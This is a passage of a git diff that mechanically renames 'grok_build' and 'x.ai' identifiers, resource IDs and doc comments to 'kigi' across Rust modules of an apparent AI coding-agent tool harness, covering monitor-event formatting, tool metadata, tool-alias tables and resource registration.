 /// `<system-reminder>`.  Persisted via `State<T>` so it survives across
 /// tool calls within a session.
@@ -99,11 +99,7 @@ impl ReportedTaskCompletions {
         self.reported.insert(id.to_owned())
     }
 }
-crate::register_resource!(
-    "grok_build",
-    "ReportedTaskCompletions",
-    ReportedTaskCompletions
-);
+crate::register_resource!("kigi", "ReportedTaskCompletions", ReportedTaskCompletions);
 /// Format a model-facing message from a [`TaskSnapshot`].
 ///
 /// `task_output_name` controls the pointer-vs-inline rendering of the output
@@ -229,7 +225,7 @@ fn split_wrapped_monitor_event(event_text: &str) -> Option<(&str, &str)> {
 }
 /// Format drained [`MonitorEventNotification`]s for the turn loop's hidden
 /// synthetic user message. Model-facing only — the pager renders monitor
-/// events from the structured `x.ai/monitor_event` notification, never by
+/// events from the structured `kigi/monitor_event` notification, never by
 /// parsing this text.
 ///
 /// One event (also the common case for slow monitors, which drain one
@@ -256,7 +252,7 @@ fn split_wrapped_monitor_event(event_text: &str) -> Option<(&str, &str)> {
 /// Buffered `event_text` arrives pre-wrapped (`wrap_monitor_event`); it is
 /// unwrapped via [`split_wrapped_monitor_event`] with verbatim fallback.
 pub fn format_monitor_events(
-    events: &[crate::implementations::grok_build::task::types::MonitorEventNotification],
+    events: &[crate::implementations::kigi::task::types::MonitorEventNotification],
     task_output_name: Option<&str>,
 ) -> Option<String> {
     use std::fmt::Write as _;
@@ -270,16 +266,14 @@ pub fn format_monitor_events(
                 None => ("event", event.event_text.as_str()),
             };
             let label =
-                crate::implementations::grok_build::monitor::event::sanitize_monitor_description(
-                    label,
-                );
+                crate::implementations::kigi::monitor::event::sanitize_monitor_description(label);
             Some(format!(
                 "<monitor-event task_id=\"{}\">\n[{}] {}\n</monitor-event>",
                 event.task_id, label, inner,
             ))
         }
         _ => {
-            type Event = crate::implementations::grok_build::task::types::MonitorEventNotification;
+            type Event = crate::implementations::kigi::task::types::MonitorEventNotification;
             let mut groups: Vec<(&str, Vec<&Event>)> = Vec::new();
             for event in events {
                 match groups.iter_mut().find(|(id, _)| *id == event.task_id) {
@@ -305,9 +299,10 @@ pub fn format_monitor_events(
                     .map(|(desc, _)| desc)
                     .filter(|d| !d.is_empty())
                     .unwrap_or("event");
-                let description = crate::implementations::grok_build::monitor::event::sanitize_monitor_description(
-                    description,
-                );
+                let description =
+                    crate::implementations::kigi::monitor::event::sanitize_monitor_description(
+                        description,
+                    );
                 let _ = write!(
                     buf,
                     "\n\n<monitor description=\"{description}\" task_id=\"{task_id}\">"
@@ -329,7 +324,7 @@ pub fn format_monitor_events(
 ///
 /// Subagents share the parent's terminal backend, so `list_tasks()` returns
 /// tasks owned by other sessions (the parent, sibling subagents). A task is in
-/// scope only when it has no recorded owner (legacy / non-grok-build backends)
+/// scope only when it has no recorded owner (legacy / non-kigi backends)
 /// or its owner matches the current session; cross-session tasks are filtered
 /// out so their completions surface in the owning session, not here.
 pub(crate) fn task_owned_by_session(task: &TaskSnapshot, my_owner: Option<&str>) -> bool {
@@ -646,15 +641,16 @@ impl Reminder for TaskCompletionReminder {
                 .filter(|t| task_owned_by_session(t, my_owner.as_deref()))
                 .collect();
             let goal_loop_active = res
-                .get::<crate::implementations::grok_build::task::types::GoalLoopActive>()
+                .get::<crate::implementations::kigi::task::types::GoalLoopActive>()
                 .is_some_and(|g| g.0);
-            let surface_reminders = !goal_loop_active
-                && res
-                    .get::<crate::types::resources::Params<
-                        crate::implementations::grok_build::bash::BashParams,
-                    >>()
-                    .map(|p| p.0.surface_bg_completion_reminders)
-                    .unwrap_or(true);
+            let surface_reminders =
+                !goal_loop_active
+                    && res
+                        .get::<crate::types::resources::Params<
+                            crate::implementations::kigi::bash::BashParams,
+                        >>()
+                        .map(|p| p.0.surface_bg_completion_reminders)
+                        .unwrap_or(true);
             let renderer = res.get::<crate::types::template_renderer::TemplateRenderer>();
             let task_output_name: Option<String> = renderer.and_then(|r| {
                 r.tool_for_kind(crate::types::tool::ToolKind::BackgroundTaskAction)
@@ -721,7 +717,7 @@ impl Reminder for TaskCompletionReminder {
             } else if let Ok(completions) = rx.await {
                 let mut res = resources.lock().await;
                 let goal_loop_active = res
-                    .get::<crate::implementations::grok_build::task::types::GoalLoopActive>()
+                    .get::<crate::implementations::kigi::task::types::GoalLoopActive>()
                     .is_some_and(|g| g.0);
                 let task_output_name: Option<String> = res
                     .get::<crate::types::template_renderer::TemplateRenderer>()
@@ -1201,7 +1197,7 @@ mod tests {
         let backend: Arc<dyn TerminalBackend> = Arc::new(MockTerminal { tasks });
         res.insert(Terminal(backend));
         res.register_state::<ReportedTaskCompletions>();
-        let params = crate::implementations::grok_build::bash::BashParams {
+        let params = crate::implementations::kigi::bash::BashParams {
             surface_bg_completion_reminders: false,
             ..Default::default()
         };
@@ -1496,7 +1492,9 @@ mod tests {
         });
         res.insert(Terminal(backend));
         res.register_state::<ReportedTaskCompletions>();
-        res.insert(crate::implementations::grok_build::task::types::GoalLoopActive(true));
+        res.insert(crate::implementations::kigi::task::types::GoalLoopActive(
+            true,
+        ));
         let (tx, mut rx) = tokio::sync::mpsc::unbounded_channel();
         res.insert(SubagentEventSender(tx));
         tokio::spawn(async move {
@@ -1517,7 +1515,9 @@ mod tests {
         shared
             .lock()
             .await
-            .insert(crate::implementations::grok_build::task::types::GoalLoopActive(false));
+            .insert(crate::implementations::kigi::task::types::GoalLoopActive(
+                false,
+            ));
         let second = reminder.collect_reminders(shared, &output).await;
         assert!(
             second.is_empty(),
@@ -1694,7 +1694,7 @@ mod tests {
     /// reintroduced.
     #[tokio::test]
     async fn reminder_pipeline_ignores_monitor_event_buffer() {
-        use crate::implementations::grok_build::task::types::{
+        use crate::implementations::kigi::task::types::{
             MonitorEventBuffer, MonitorEventNotification,
         };
         use crate::types::resources::Resources;
@@ -1728,7 +1728,7 @@ mod tests {
     /// own + owner-less legacy events; foreign events stay buffered.
     #[test]
     fn drain_owned_partitions_by_session_owner() {
-        use crate::implementations::grok_build::task::types::{
+        use crate::implementations::kigi::task::types::{
             MonitorEventBuffer, MonitorEventNotification, drain_owned,
         };
         let shared_buffer = MonitorEventBuffer::default();
@@ -1765,7 +1765,7 @@ mod tests {
     /// empty => `None`.
     #[test]
     fn format_monitor_events_single_vs_batched() {
-        use crate::implementations::grok_build::task::types::MonitorEventNotification;
+        use crate::implementations::kigi::task::types::MonitorEventNotification;
         let event = |task: &str, desc: &str, text: &str| MonitorEventNotification {
             task_id: task.to_string(),
             event_text: format!(
@@ -1783,7 +1783,7 @@ mod tests {
             single, "<monitor-event task_id=\"task-0\">\n[alpha] line 0\n</monitor-event>",
             "single event must use the lean monitor-event form"
         );
-        let bare = crate::implementations::grok_build::task::types::MonitorEventNotification {
+        let bare = crate::implementations::kigi::task::types::MonitorEventNotification {
             task_id: "task-9".into(),
             event_text: "bare text, no wrapper".into(),
             owner_session_id: None,
@@ -1857,7 +1857,7 @@ mod tests {
     /// writer's shape ever drifts from the parser, this fails loudly.
     #[test]
     fn wrap_monitor_event_round_trips_through_split() {
-        use crate::implementations::grok_build::monitor::event::wrap_monitor_event;
+        use crate::implementations::kigi::monitor::event::wrap_monitor_event;
         let wrapped = wrap_monitor_event("plain watcher", "tick 1\ntick 2", "t-1");
         let (desc, inner) = split_wrapped_monitor_event(&wrapped).expect("plain round-trip");
         assert_eq!(desc, "plain watcher");
@@ -1870,7 +1870,7 @@ mod tests {
     /// End-to-end multibyte safety through the formatter (single + batch).
     #[test]
     fn format_monitor_events_handles_multibyte_content() {
-        use crate::implementations::grok_build::task::types::MonitorEventNotification;
+        use crate::implementations::kigi::task::types::MonitorEventNotification;
         let event = |task: &str, desc: &str, text: &str| MonitorEventNotification {
             task_id: task.to_string(),
             event_text: format!(
diff --git a/crates/codegen/kigi-tools/src/tool_taxonomy.rs b/crates/codegen/kigi-tools/src/tool_taxonomy.rs
index 0777db0..3ec760b 100644
--- a/crates/codegen/kigi-tools/src/tool_taxonomy.rs
+++ b/crates/codegen/kigi-tools/src/tool_taxonomy.rs
@@ -22,9 +22,9 @@ pub mod field {
     pub const PATTERN: &str = "pattern";
 }
 /// The single `_meta` key holding the canonical tool identity as one nested
-/// object (mirroring `x.ai/mcp_tool`). Consumers deserialize it into
+/// object (mirroring `kigi/mcp_tool`). Consumers deserialize it into
 /// [`CanonicalToolMeta`].
-pub const TOOL_META_KEY: &str = "x.ai/tool";
+pub const TOOL_META_KEY: &str = "kigi/tool";
 /// Version of the canonical tool `_meta` contract. Bump on any breaking change
 /// to keys or value shapes so consumers can adapt.
 pub const TOOL_META_VERSION: u32 = 1;
@@ -33,7 +33,7 @@ impl ToolKind {
     /// function of the kind, so equivalent tools across toolsets share it
     /// (`read_file` and `Read` → `Read`; `run_terminal_cmd` and `Shell` →
     /// `Run Command`). Display only; the model's tool name is `name` in
-    /// `x.ai/tool`. Exhaustive, so a new `ToolKind` must add a label to compile.
+    /// `kigi/tool`. Exhaustive, so a new `ToolKind` must add a label to compile.
     pub fn presentation_name(self) -> &'static str {
         match self {
             ToolKind::Read => "Read",
@@ -140,11 +140,11 @@ pub struct ToolIdentity {
 /// as one nested object under [`TOOL_META_KEY`].
 ///
 /// ```json
-/// "x.ai/tool": {
+/// "kigi/tool": {
 ///   "version": 1,
 ///   "name": "read_file",
 ///   "kind": "read",
-///   "namespace": "grok_build",
+///   "namespace": "kigi",
 ///   "label": "Read",
 ///   "read_only": true,
 ///   "input": { "path": "..." }
@@ -153,7 +153,7 @@ pub struct ToolIdentity {
 ///
 /// Consumer contract:
 /// - **`label`** is the cross-harness grouping/display key: equivalent tools
-///   share it (grok `read_file` → `"Read"`).
+///   share it (kigi `read_file` → `"Read"`).
 /// - **`kind`** is a finer discriminator (`metadata.kind()`), *not* guaranteed
 ///   equal for equivalent ops across harnesses (listing is `list` in one
 ///   toolset, `list_dir` in another); prefer `label` to join, tolerate unknowns.
@@ -176,7 +176,7 @@ pub struct ToolIdentity {
 ///   `namespace` is a closed enum (no `other` sink), so a new toolset fails
 ///   strict typed deserialization of the whole envelope — intentional, to force
 ///   typed consumers with exhaustive matches to update. Out-of-tree consumers
-///   should read `namespace` loosely (as a string) and, on any `x.ai/tool`
+///   should read `namespace` loosely (as a string) and, on any `kigi/tool`
 ///   parse failure, treat it as absent and fall back to `raw_input` + the ACP
 ///   `kind`. `version` bumps only on removal or meaning change.
 #[derive(Debug, Clone, PartialEq, Serialize, Deserialize, schemars::JsonSchema)]
@@ -209,7 +209,7 @@ impl CanonicalToolMeta {
         }
     }
     /// Attach under [`TOOL_META_KEY`], preserving existing `_meta` keys
-    /// (`bash_mode`, `backend`, `x.ai/mcp_tool`, …).
+    /// (`bash_mode`, `backend`, `kigi/mcp_tool`, …).
     pub fn merge_into(&self, existing: Option<serde_json::Value>) -> serde_json::Value {
         debug_assert!(
             matches!(existing, None | Some(serde_json::Value::Object(_))),
@@ -237,7 +237,7 @@ mod tests {
     fn identity(kind: ToolKind) -> ToolIdentity {
         ToolIdentity {
             tool_kind: kind,
-            namespace: ToolNamespace::GrokBuild,
+            namespace: ToolNamespace::Kigi,
             presentation_name: kind.presentation_name(),
             read_only: kind.is_read_only(),
         }
@@ -256,9 +256,9 @@ mod tests {
         use strum::IntoEnumIterator;
         fn wire_and_pascal(ns: ToolNamespace) -> (&'static str, &'static str) {
             match ns {
-                ToolNamespace::GrokBuild => ("grok_build", "GrokBuild"),
-                ToolNamespace::GrokBuildConcise => ("grok_build_concise", "GrokBuildConcise"),
-                ToolNamespace::GrokBuildHashline => ("grok_build_hashline", "GrokBuildHashline"),
+                ToolNamespace::Kigi => ("kigi", "Kigi"),
+                ToolNamespace::KigiConcise => ("kigi_concise", "KigiConcise"),
+                ToolNamespace::KigiHashline => ("kigi_hashline", "KigiHashline"),
                 ToolNamespace::Codex => ("codex", "Codex"),
                 ToolNamespace::OpenCode => ("opencode", "OpenCode"),
                 ToolNamespace::MCP => ("mcp", "MCP"),
@@ -309,7 +309,7 @@ mod tests {
         assert_eq!(t["version"], serde_json::json!(TOOL_META_VERSION));
         assert_eq!(t["name"], "read_file");
         assert_eq!(t["kind"], "read");
-        assert_eq!(t["namespace"], "grok_build");
+        assert_eq!(t["namespace"], "kigi");
         assert_eq!(t["label"], "Read");
         assert_eq!(t["read_only"], true);
         assert_eq!(t["input"]["path"], "/a");
diff --git a/crates/codegen/kigi-tools/src/types/claude_alias.rs b/crates/codegen/kigi-tools/src/types/claude_alias.rs
index 2b852eb..12cdd30 100644
--- a/crates/codegen/kigi-tools/src/types/claude_alias.rs
+++ b/crates/codegen/kigi-tools/src/types/claude_alias.rs
@@ -1,8 +1,8 @@
-//! Canonical external-settings tool name ↔ Grok tool correspondence: one table
+//! Canonical external-settings tool name ↔ Kigi tool correspondence: one table
 //! replacing two that drifted apart.
 //!
 //! Two consumers read it independently. The hook matcher (`kigi-hooks`) needs the
-//! Grok tool **names** an external settings term maps to (and the reverse, for regex
+//! Kigi tool **names** an external settings term maps to (and the reverse, for regex
 //! matchers); the agent builder (`kigi-agent`) needs the [`ToolKind`] a `tools:`
 //! allowlist entry resolves to. A row may carry a kind without names (`PowerShell`
 //! shares `Execute`, with no distinct tool) or names without a kind (e.g.
@@ -13,14 +13,14 @@
 use super::tool::ToolKind;
 use ToolKind::*;
 
-/// One Claude tool's correspondence to Grok, read via the accessor functions below.
+/// One Claude tool's correspondence to Kigi, read via the accessor functions below.
 struct ClaudeTool {
     claude: &'static str,
-    /// Grok [`ToolKind`] for allowlist resolution; `None` for names that are matchable
+    /// Kigi [`ToolKind`] for allowlist resolution; `None` for names that are matchable
     /// (spawn/plan-mode directives) but must not resolve an allowlist.
     kind: Option<ToolKind>,
-    /// Grok tool names this Claude tool maps to (empty when there is no direct
-    /// Grok tool — the entry then only contributes a `kind`).
+    /// Kigi tool names this Claude tool maps to (empty when there is no direct
+    /// Kigi tool — the entry then only contributes a `kind`).
     kigi: &'static [&'static str],
 }
 
@@ -79,7 +79,7 @@ const CLAUDE_TOOLS: &[ClaudeTool] = &[
     match_only("ListMcpResourcesTool", &["ListMcpResources"]),                        // cursor preset
 ];
 
-/// The Grok [`ToolKind`] a Claude allowlist entry resolves to, if any.
+/// The Kigi [`ToolKind`] a Claude allowlist entry resolves to, if any.
 pub fn kind_for(claude: &str) -> Option<ToolKind> {
     CLAUDE_TOOLS
         .iter()
@@ -87,7 +87,7 @@ pub fn kind_for(claude: &str) -> Option<ToolKind> {
         .and_then(|t| t.kind)
 }
 
-/// The Grok tool names a Claude matcher term fires on.
+/// The Kigi tool names a Claude matcher term fires on.
 pub fn kigi_names_for(claude: &str) -> impl Iterator<Item = &'static str> {
     CLAUDE_TOOLS
         .iter()
@@ -106,7 +106,7 @@ pub fn claude_names_for(kigi_name: &str) -> impl Iterator<Item = &'static str> +
         .map(|t| t.claude)
 }
 
-/// Every distinct Grok name the table references, for the `kigi-agent` drift-check
+/// Every distinct Kigi name the table references, for the `kigi-agent` drift-check
 /// test that asserts each is a real client tool name.
 pub fn kigi_names() -> impl Iterator<Item = &'static str> {
     let mut seen = std::collections::HashSet::new();
@@ -131,7 +131,7 @@ mod tests {
 
     #[test]
     fn every_row_contributes() {
-        // A row with neither a kind nor a Grok name is dead weight (and signals a typo).
+        // A row with neither a kind nor a Kigi name is dead weight (and signals a typo).
         for t in CLAUDE_TOOLS {
             assert!(
                 t.kind.is_some() || !t.kigi.is_empty(),
diff --git a/crates/codegen/kigi-tools/src/types/compat.rs b/crates/codegen/kigi-tools/src/types/compat.rs
index eee1a84..7a9cbd0 100644
--- a/crates/codegen/kigi-tools/src/types/compat.rs
+++ b/crates/codegen/kigi-tools/src/types/compat.rs
@@ -111,7 +111,7 @@ impl CompatCell {
         self.remote_key
     }
 
-    /// Whether Grok currently implements this compatibility surface.
+    /// Whether Kigi currently implements this compatibility surface.
     ///
     /// Codex non-session cells remain reserved in the registry so their config
     /// shape is stable, but runtime discovery does not consume them.
diff --git a/crates/codegen/kigi-tools/src/types/context.rs b/crates/codegen/kigi-tools/src/types/context.rs
index a5c23b5..99905e5 100644
--- a/crates/codegen/kigi-tools/src/types/context.rs
+++ b/crates/codegen/kigi-tools/src/types/context.rs
@@ -70,7 +70,7 @@ impl TruncationConfig {
     /// - `{max_chars_per_line}` — fixed display value for opencode-compat
     ///   descriptions only; the opencode `read` tool clips at its own
     ///   hardcoded `MAX_LINE_LENGTH` (2000), independent of this config.
-    ///   grok_build `read_file` never clips lines.
+    ///   kigi `read_file` never clips lines.
     ///
     /// Returns the original string unchanged if no placeholders are present.
     pub fn interpolate_description(
diff --git a/crates/codegen/kigi-tools/src/types/error.rs b/crates/codegen/kigi-tools/src/types/error.rs
index f3f2e1c..1179e14 100644
--- a/crates/codegen/kigi-tools/src/types/error.rs
+++ b/crates/codegen/kigi-tools/src/types/error.rs
@@ -1,6 +1,6 @@
-use crate::implementations::grok_build::bash::BashError;
-use crate::implementations::grok_build::todo::TodoError;
-use crate::implementations::grok_build::web_fetch::WebFetchError;
+use crate::implementations::kigi::bash::BashError;
+use crate::implementations::kigi::todo::TodoError;
+use crate::implementations::kigi::web_fetch::WebFetchError;
 
 /// Error type for SearchReplace tool operations.
 #[derive(thiserror::Error, Debug)]
diff --git a/crates/codegen/kigi-tools/src/types/mod.rs b/crates/codegen/kigi-tools/src/types/mod.rs
index 457d871..e5b8498 100644
--- a/crates/codegen/kigi-tools/src/types/mod.rs
+++ b/crates/codegen/kigi-tools/src/types/mod.rs
@@ -31,7 +31,7 @@ pub use context::TruncationConfig;
 pub use definition::{FunctionTool, ToolDefinition, ToolType};
 pub use memory_backend::MemoryBackend;
 pub use process_manager::{KillOutcome, TaskSnapshot, format_system_time_rfc3339};
-pub use schema::GrokIntegerSchema;
+pub use schema::KigiIntegerSchema;
 pub use session_mode::SessionMode;
 pub use tool_index::{SearchSnapshot, ServerSummary, ToolIndex, ToolSearchIndex, ToolSearchResult};
 pub use tool_io::{MCPToolInput, ToolInput};
diff --git a/crates/codegen/kigi-tools/src/types/output.rs b/crates/codegen/kigi-tools/src/types/output.rs
index 3a6dff7..724e32f 100644
--- a/crates/codegen/kigi-tools/src/types/output.rs
+++ b/crates/codegen/kigi-tools/src/types/output.rs
@@ -55,7 +55,7 @@ impl From<serde_json::Value> for DynamicOutput {
         Self { value }
     }
 }
-use crate::implementations::grok_build::todo::{TodoItem, TodoState};
+use crate::implementations::kigi::todo::{TodoItem, TodoState};
 use crate::implementations::skills::skill::SkillOutput;
 use crate::util::truncate::{DEFAULT_SOFT_WRAP_WIDTH, soft_wrap_lines};
 /// Result of running a tool through the ToolRunner pipeline.
@@ -370,12 +370,12 @@ pub struct BashOutput {
     /// When `None`, the consumer should use `output` as the full buffer.
     #[serde(skip_serializing_if = "Option::is_none", default)]
     pub output_delta: Option<Vec<u8>>,
-    /// Set by the grok_build `run_terminal_cmd` implementation when the
+    /// Set by the kigi `run_terminal_cmd` implementation when the
     /// command was detected as a bare `echo "<msg>"` (or close variant:
     /// echo -n, echo -e, simple printf for literal output, etc.).
     ///
     /// Used for:
-    /// - Telemetry / statistics on this pattern for the grok_build backend.
+    /// - Telemetry / statistics on this pattern for the kigi backend.
     /// - Potential doom-loop / stagnation signals (repeated trivial echoes
     ///   are a common "no progress" signal).
     /// - Model hints (see BareEchoHintState in the bash tool).
@@ -463,7 +463,7 @@ pub struct WebFetchContent {
     pub status_code: u16,
     /// Size of the content in bytes (before truncation).
     pub bytes: usize,
-    /// Internal path to the complete converted body when GrokBuild persisted overflow.
+    /// Internal path to the complete converted body when Kigi persisted overflow.
     #[serde(skip)]
     #[schemars(skip)]
     pub source_artifact: Option<WebFetchSourceArtifact>,
@@ -575,11 +575,11 @@ pub enum ToolOutput {
     EnterPlanMode(EnterPlanModeOutput),
     ExitPlanMode(ExitPlanModeOutput),
     AskUserQuestion(AskUserQuestionOutput),
-    Monitor(crate::implementations::grok_build::monitor::types::MonitorOutput),
-    SchedulerCreate(crate::implementations::grok_build::scheduler::create::SchedulerCreateOutput),
-    SchedulerDelete(crate::implementations::grok_build::scheduler::delete::SchedulerDeleteOutput),
-    SchedulerList(crate::implementations::grok_build::scheduler::list::SchedulerListOutput),
-    UpdateGoal(crate::implementations::grok_build::update_goal::UpdateGoalOutput),
+    Monitor(crate::implementations::kigi::monitor::types::MonitorOutput),
+    SchedulerCreate(crate::implementations::kigi::scheduler::create::SchedulerCreateOutput),
+    SchedulerDelete(crate::implementations::kigi::scheduler::delete::SchedulerDeleteOutput),
+    SchedulerList(crate::implementations::kigi::scheduler::list::SchedulerListOutput),
+    UpdateGoal(crate::implementations::kigi::update_goal::UpdateGoalOutput),
     /// Dynamic output for runtime-registered tools (MCP, test tools, etc.)
     Dynamic(DynamicOutput),
     /// Generic text output for tools that produce simple formatted text
@@ -1193,7 +1193,7 @@ impl kigi_tool_runtime::ToolOutput for MCPOutput {}
 #[cfg(test)]
 mod tests {
     use super::*;
-    use crate::implementations::grok_build::todo::{TodoPriority, TodoStatus};
+    use crate::implementations::kigi::todo::{TodoPriority, TodoStatus};
     use kigi_tool_types::KillTaskResult;
     use kigi_tool_types::TaskOutputResult;
     use serde_json::json;
@@ -1724,14 +1724,14 @@ mod tests {
             tool_calls: 3,
             turns: 1,
             duration_ms: 2000,
-            worktree_path: Some("/tmp/grok-worktree/wt-agent".into()),
+            worktree_path: Some("/tmp/kigi-worktree/wt-agent".into()),
             persona: None,
             resume_from_hint: "wt-agent".into(),
             persona_hint: None,
         });
         let rendered = output.to_prompt_format();
         assert!(
-            rendered.contains("<worktree_path>/tmp/grok-worktree/wt-agent</worktree_path>"),
+            rendered.contains("<worktree_path>/tmp/kigi-worktree/wt-agent</worktree_path>"),
             "worktree_path preserved"
         );
         assert!(
diff --git a/crates/codegen/kigi-tools/src/types/resources.rs b/crates/codegen/kigi-tools/src/types/resources.rs
index f4d9f95..65e4e3d 100644
--- a/crates/codegen/kigi-tools/src/types/resources.rs
+++ b/crates/codegen/kigi-tools/src/types/resources.rs
@@ -25,12 +25,12 @@ use tokio::sync::Mutex;
 /// Marker trait for types that can be stored in `Resources`.
 ///
 /// Each implementor must provide a unique `ID` string of the form
-/// `"namespace.Name"` (e.g., `"grok_build.ReadFile"`). The ID is used as
+/// `"namespace.Name"` (e.g., `"kigi.ReadFile"`). The ID is used as
 /// the serialization key when persisting resources.
 ///
 /// Use the `register_resource!` macro to implement this.
 pub trait ResourceType: Any + 'static {
-    /// Unique identifier, e.g. `"grok_build.ReadFile"`.
+    /// Unique identifier, e.g. `"kigi.ReadFile"`.
     const ID: &'static str;
     /// Additional semantic validation for finalize-time params.
     fn validate_params_value(
@@ -47,13 +47,13 @@ impl ResourceType for () {
 /// Implement `ResourceType` for a type with an explicit namespace and name.
 ///
 /// ```ignore
-/// register_resource!("grok_build", "ReadFile", ReadHistory);
+/// register_resource!("kigi", "ReadFile", ReadHistory);
 /// ```
 ///
 /// This generates:
 /// ```ignore
 /// impl ResourceType for ReadHistory {
-///     const ID: &'static str = "grok_build.ReadFile";
+///     const ID: &'static str = "kigi.ReadFile";
 /// }
 /// ```
 #[macro_export]
@@ -154,7 +154,7 @@ type DeserializeFn =
 /// serialize/deserialize closures so `Resources` can round-trip through JSON.
 struct ResourceEntry {
     type_id: TypeId,
-    /// The `ResourceType::ID` string (e.g., `"grok_build.ReadFile"`).
+    /// The `ResourceType::ID` string (e.g., `"kigi.ReadFile"`).
     id: String,
     category: ResourceCategory,
     /// Serialize the value stored at `type_id` to JSON.
@@ -319,11 +319,11 @@ impl Resources {
     /// ```json
     /// {
     ///   "params": {
-    ///     "grok_build.Edit": { ... },
+    ///     "kigi.Edit": { ... },
     ///   },
     ///   "state": {
-    ///     "grok_build.ReadFile": { ... },
-    ///     "grok_build.Todo": { ... },
+    ///     "kigi.ReadFile": { ... },
+    ///     "kigi.Todo": { ... },
     ///   }
     /// }
     /// ```
@@ -755,7 +755,7 @@ impl WebCitationCounter {
         val
     }
 }
-register_resource!("grok_build", "WebCitation", WebCitationCounter);
+register_resource!("kigi", "WebCitation", WebCitationCounter);
 impl std::fmt::Debug for Terminal {
     fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
         f.debug_struct("Terminal").finish()
@@ -857,17 +857,17 @@ mod tests {
         skip_read_before_edit: bool,
         max_file_size: Option<usize>,
     }
-    register_resource!("grok_build", "Edit", EditConfig);
+    register_resource!("kigi", "Edit", EditConfig);
     #[derive(Debug, Clone, Default, PartialEq, Eq, serde::Serialize, serde::Deserialize)]
     struct ReadHistory {
         files_read: Vec<String>,
     }
-    register_resource!("grok_build", "ReadFile", ReadHistory);
+    register_resource!("kigi", "ReadFile", ReadHistory);
     #[derive(Debug, Clone, Default, PartialEq, Eq, serde::Serialize, serde::Deserialize)]
     struct TodoData {
         items: Vec<String>,
     }
-    register_resource!("grok_build", "Todo", TodoData);
+    register_resource!("kigi", "Todo", TodoData);
     #[test]
     fn insert_and_get_typed_values() {
         let mut res = Resources::new();
@@ -992,7 +992,7 @@ mod tests {
         let json = res.serialize();
         assert!(json.get("state").is_some());
         let state = json.get("state").unwrap();
-        assert!(state.get("grok_build.ReadFile").is_some());
+        assert!(state.get("kigi.ReadFile").is_some());
         let json_str = serde_json::to_string(&json).unwrap();
         assert!(!json_str.contains("/home/user"));
     }
@@ -1003,12 +1003,12 @@ mod tests {
         res.register_params::<EditConfig>();
         let mut state_map = HashMap::new();
         state_map.insert(
-            "grok_build.ReadFile".to_string(),
+            "kigi.ReadFile".to_string(),
             serde_json::json!({ "files_read" : ["loaded.rs"] }),
         );
         let mut params_map = HashMap::new();
         params_map.insert(
-            "grok_build.Edit".to_string(),
+            "kigi.Edit".to_string(),
             serde_json::json!(
                 { "skip_read_before_edit" : true, "max_file_size" : 512 }
             ),
@@ -1033,7 +1033,7 @@ mod tests {
             serde_json::json!({ "foo" : "bar" }),
         );
         state_map.insert(
-            "grok_build.ReadFile".to_string(),
+            "kigi.ReadFile".to_string(),
             serde_json::json!({ "files_read" : ["ok.rs"] }),
         );
         let mut data = HashMap::new();
@@ -1050,7 +1050,7 @@ mod tests {
             skip_read_before_edit: true,
             max_file_size: None,
         }));
-        let val = res.get_json("params", "grok_build.Edit").unwrap();
+        let val = res.get_json("params", "kigi.Edit").unwrap();
         assert_eq!(val["skip_read_before_edit"], true);
     }
     #[test]
@@ -1062,7 +1062,7 @@ mod tests {
     fn get_json_returns_none_for_missing_value() {
         let mut res = Resources::new();
         res.register_params::<EditConfig>();
-        assert!(res.get_json("params", "grok_build.Edit").is_none());
+        assert!(res.get_json("params", "kigi.Edit").is_none());
     }
     #[test]
     fn set_json_updates_registered_value() {
@@ -1070,7 +1070,7 @@ mod tests {
         res.register_params::<EditConfig>();
         let ok = res.set_json(
             "params",
-            "grok_build.Edit",
+            "kigi.Edit",
             serde_json::json!({ "skip_read_before_edit" : true }),
         );
         assert!(ok);
diff --git a/crates/codegen/kigi-tools/src/types/schema.rs b/crates/codegen/kigi-tools/src/types/schema.rs
index 4fe97ec..7d30820 100644
--- a/crates/codegen/kigi-tools/src/types/schema.rs
+++ b/crates/codegen/kigi-tools/src/types/schema.rs
@@ -3,11 +3,11 @@ use serde::Deserialize;
 /// Schema helper for integers - produces clean integer schema without extra fields.
 /// By default schemars adds "format": "uint" and "minimum": 0.0 which we don't want.
 ///
-/// Use with `#[schemars(with = "GrokIntegerSchema")]` on `Option<usize>` fields.
-pub struct GrokIntegerSchema;
-impl schemars::JsonSchema for GrokIntegerSchema {
+/// Use with `#[schemars(with = "KigiIntegerSchema")]` on `Option<usize>` fields.
+pub struct KigiIntegerSchema;
+impl schemars::JsonSchema for KigiIntegerSchema {
     fn schema_name() -> std::borrow::Cow<'static, str> {
-        "grok_integer_schema".into()
+        "kigi_integer_schema".into()
     }
     fn json_schema(_: &mut schemars::SchemaGenerator) -> schemars::Schema {
         schemars::json_schema!({ "type" : "integer" })
diff --git a/crates/codegen/kigi-tools/src/types/skill_discovery_tracker/listing.rs b/crates/codegen/kigi-tools/src/types/skill_discovery_tracker/listing.rs
index 949eb7f..24a1422 100644
--- a/crates/codegen/kigi-tools/src/types/skill_discovery_tracker/listing.rs
+++ b/crates/codegen/kigi-tools/src/types/skill_discovery_tracker/listing.rs
@@ -136,7 +136,7 @@ impl<'a> SkillEntry<'a> {
         }
     }
 
-    // ── Budgeted XML rendering (grok build harness) ─────────────
+    // ── Budgeted XML rendering (kigi build harness) ─────────────
 
     /// Render as an `<agent_skill>` XML row with description and when_to_use
     /// truncated to their budgets. When `when_to_use` is present it follows the
@@ -269,7 +269,7 @@ impl<'a> SkillListing<'a> {
         ))
     }
 
-    // ── Budgeted XML rendering (grok build harness) ─────────────
+    // ── Budgeted XML rendering (kigi build harness) ─────────────
 
     /// Render as XML within `budget` bytes using the three-tier strategy:
     /// 1. Full descriptions (each capped at `MAX_LISTING_COMBINED_BYTES`).
@@ -490,7 +490,7 @@ fn strip_leading_trigger_prefix(wtu: &str) -> &str {
 
 /// XML-escape a string for use in attribute values. Replaces the five XML
 /// metacharacters (`<`, `>`, `&`, `"`, `'`) with their named entities.
-/// Used by the budgeted (grok build) XML rendering path.
+/// Used by the budgeted (kigi build) XML rendering path.
 fn xml_attr_escape(s: &str) -> String {
     s.replace('&', "&amp;")
         .replace('<', "&lt;")
@@ -500,7 +500,7 @@ fn xml_attr_escape(s: &str) -> String {
 }
 
 /// XML-escape body text. Same as attribute escape minus the quote handling.
-/// Used by the budgeted (grok build) XML rendering path.
+/// Used by the budgeted (kigi build) XML rendering path.
 fn xml_text_escape(s: &str) -> String {
     s.replace('&', "&amp;")
         .replace('<', "&lt;")
@@ -552,7 +552,7 @@ pub enum XmlRenderMode {
     /// Verbatim rendering: every skill with its full description; no
